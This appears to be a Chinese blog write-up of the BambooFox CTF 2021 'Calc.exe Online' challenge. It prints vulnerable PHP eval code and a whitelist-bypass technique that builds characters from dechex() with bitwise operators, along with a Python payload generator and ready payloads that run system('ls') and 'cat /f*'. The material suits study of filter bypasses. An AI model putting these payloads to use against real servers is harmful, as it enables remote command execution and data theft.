• BambooFox CTF 2021-Calc.exe Online


    Calc.exe Online

    没给docker,可能刚结束,还没来得及上传,没关系,这题考phprce有相关源码就够了

    代码审计

    <?php
    error_reporting(0);
    isset($_GET['source']) && die(highlight_file(__FILE__));
    
    function is_safe($query)
    {
        $query = strtolower($query);
        preg_match_all("/([a-z_]+)/", $query, $words);
        $words = $words[0];
        $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
        $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
        $accept_chars = str_split($accept_chars);
        $bad = '';
        for ($i = 0; $i < count($words); $i++) {
            if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
                $bad .= $words[$i] . " ";
            }
        }
    
        for ($i = 0; $i < strlen($query); $i++) {
            if (array_search($query[$i], $accept_chars) === false) {
                $bad .= $query[$i] . " ";
            }
        }
        return $bad;
    }
    
    function safe_eval($code)
    {
        if (strlen($code) > 1024) return "Expression too long.";
        $code = strtolower($code);
        $bad = is_safe($code);
        $res = '';
        if (strlen(str_replace(' ', '', $bad)))
            $res = "I don't like this: " . $bad;
        else
            eval('$res=' . $code . ";");
        return $res;
    }
    
    if (isset($_GET['expression']));
    	@safe_eval($_GET['expression']);
    ?>
    
    

    部分不重要的代码略去

    主要看到有

    safe_eval($_GET['expression']);

    通过自定义的safe_eval函数,传入的内容bypass相关安全检查后,即可执行eval。所以我们的思路就是绕过后命令执行

    审计两个函数

    is_safe函数使用白名单的函数,保证传入参数在白名单中,并连接返回

    safe_eval函数保证参数值小于1024,并将其带入is_safe中处理,返回值中要没有除空格以外的内容,将会执行没有经过is_safe处理的值

    dechex

    感觉这种比较通俗易懂,观察白名单中可用的函数有dechex

    参考

    举个例子

    那么我们就可以借此函数和.连接的方式构造任意字母数字特殊字符

    1.json
    
    {"0": "(dechex(0)|dechex(0)|dechex(0))",
    "1": "(dechex(0)|dechex(0)|dechex(1))",
    "2": "(dechex(0)|dechex(0)|dechex(2))",
    "3": "(dechex(0)|dechex(0)|dechex(3))",
    "4": "(dechex(0)|dechex(0)|dechex(4))",
    "5": "(dechex(0)|dechex(0)|dechex(5))",
    "6": "(dechex(0)|dechex(0)|dechex(6))",
    "7": "(dechex(0)|dechex(0)|dechex(7))",
    "8": "(dechex(0)|dechex(0)|dechex(8))",
    "9": "(dechex(0)|dechex(0)|dechex(9))",
    "q": "(dechex(0)|dechex(0)|dechex(10))",
    "r": "(dechex(0)|dechex(0)|dechex(11))",
    "s": "(dechex(0)|dechex(0)|dechex(12))",
    "t": "(dechex(0)|dechex(0)|dechex(13))",
    "u": "(dechex(0)|dechex(0)|dechex(14))",
    ":": "(dechex(0)|dechex(2)|dechex(8))",
    ";": "(dechex(0)|dechex(2)|dechex(9))",
    "v": "(dechex(0)|dechex(2)|dechex(13))",
    "w": "(dechex(0)|dechex(2)|dechex(14))",
    "<": "(dechex(0)|dechex(4)|dechex(8))",
    "=": "(dechex(0)|dechex(4)|dechex(9))",
    ">": "(dechex(0)|dechex(6)|dechex(8))",
    "?": "(dechex(0)|dechex(6)|dechex(9))",
    "y": "(dechex(0)|dechex(8)|dechex(10))",
    "z": "(dechex(0)|dechex(8)|dechex(11))",
    "{": "(dechex(0)|dechex(8)|dechex(12))",
    "|": "(dechex(0)|dechex(8)|dechex(13))",
    "}": "(dechex(0)|dechex(8)|dechex(14))",
    "~": "(dechex(2)|dechex(8)|dechex(13))",
    "a": "(dechex(10)|dechex(10)|dechex(10))",
    "c": "(dechex(10)|dechex(10)|dechex(11))",
    "e": "(dechex(10)|dechex(10)|dechex(13))",
    "g": "(dechex(10)|dechex(11)|dechex(13))",
    "b": "(dechex(11)|dechex(11)|dechex(11))",
    "f": "(dechex(11)|dechex(11)|dechex(13))",
    "d": "(dechex(13)|dechex(13)|dechex(13))",
    "m": "dechex(10)&dechex(10)|dechex(4)^dechex(8)",
    "l": "dechex(10)&dechex(11)|dechex(4)^dechex(8)",
    " ": "dechex(0)&dechex(10)|dechex(0)^dechex(0)",
    "/": "dechex(0)&dechex(10)|dechex(6)^dechex(9)",
    "*": "dechex(0)&dechex(10)|dechex(2)^dechex(8)"}
    

    编写exp

    #!/usr/bin/env python3
    
    import json
    import sys
    import urllib.parse
    
    if len(sys.argv) - 1 < 1:
        print('A command must be specified')
        exit(1)
    
    payload = ''
    
    with open('/1.json') as chars_file:
        chars = json.load(chars_file)
        
        for index, char in enumerate(sys.argv[1]):
            if index != 0:
                payload += '.'
              
            payload += chars[char]
            payload += ''
    
        print(f"Payload:
    ({payload})")
        print(f"URL Encoded:
    ({urllib.parse.quote(payload)})")
    
    system(ls)
    
    ((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
    
    ls /
    
    ((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
    
    cat /f*
    
    ((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(10)|dechex(0)^dechex(2)).(dechex(10)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(0)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(10)|dechex(6)^dechex(9)).(dechex(10)&dechex(11)|dechex(0)^dechex(6)).(dechex(0)&dechex(10)|dechex(2)^dechex(8)))
    

    还有一种方法,通过索引字符串的方式

    例如:

    abs[0] -> a

    abs[0].abs[2] -> as

    (cos[0].tanh[3].ncr[2])(65)  -> chr(65) -> A
    

    通过这样的方式同样可以构造出我们所需要的payload

  • 相关阅读:
    grub menu from pygrub
    Unix调试的瑞士军刀:lsof
    Quantum & r2q
    Linux TC基于CBQ队列的流量管理范例
    hfsc
    用bash做个tcp客户端
    [转]HFSC Scheduling with Linux
    [转]如何判断 Linux 是否运行在虚拟机上
    TSO
    使用VS2008进行WEB负载测试
  • 原文地址:https://www.cnblogs.com/karsa/p/14311091.html
Copyright © 2020-2023  润新知